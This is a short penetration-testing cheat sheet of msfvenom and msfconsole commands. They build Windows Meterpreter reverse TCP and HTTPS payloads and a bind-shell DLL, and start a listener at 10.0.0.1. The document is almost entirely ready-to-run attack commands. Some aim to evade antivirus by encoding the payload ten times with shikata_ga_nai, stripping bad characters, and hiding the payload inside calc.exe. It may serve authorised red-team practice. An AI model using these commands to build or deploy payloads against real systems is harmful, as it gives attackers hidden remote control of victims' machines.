Msfvenom

Examples of previously created MSFVenom payloads required in the different scenarios

Reverse TCP:

msfvenom --platform Windows -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=443 -b "\x00" -f exe -o meterpreter.exe

Encoded multiple times:

msfvenom --platform Windows -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=443 -b "\x00" -f exe -e x86/shikata_ga_nai -i 10 -f exe -o meterpreter.exe

Add Windows Calc.exe as a template:

msfvenom --platform Windows -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=443 -f exe -x calc.exe -e x86/shikata_ga_nai -i 10 -f exe -o meterpreter.exe

Reverse HTTPS with proxy authentication:

msfvenom --platform Windows -p windows/meterpreter/reverse_https HttpProxyUser=user HttpProxyPass=password LHOST=10.0.0.1 LPORT=443 -b "\x00" -f exe -o meterpreter.exe

Bind Shell - DLL Payload:

msfvenom --platform Windows -p windows/shell_bind_tcp LPORT=443 -f DLL -o bind_shell.dll

Encoding:

-e encoder type
-i how man times to encode

Filler and bad characters:

-n the amound of bytes to add at the beginning
-b exclude bad chars (\x00 common filler, searched for by AV)

MSF Console - start a listener/handler:

msfconsole -qx "use exploit/multi/handler;
set payload windows/meterpreter/reverse_tcp;
set lhost 10.0.0.1;
set lport 443;
exploit -j"
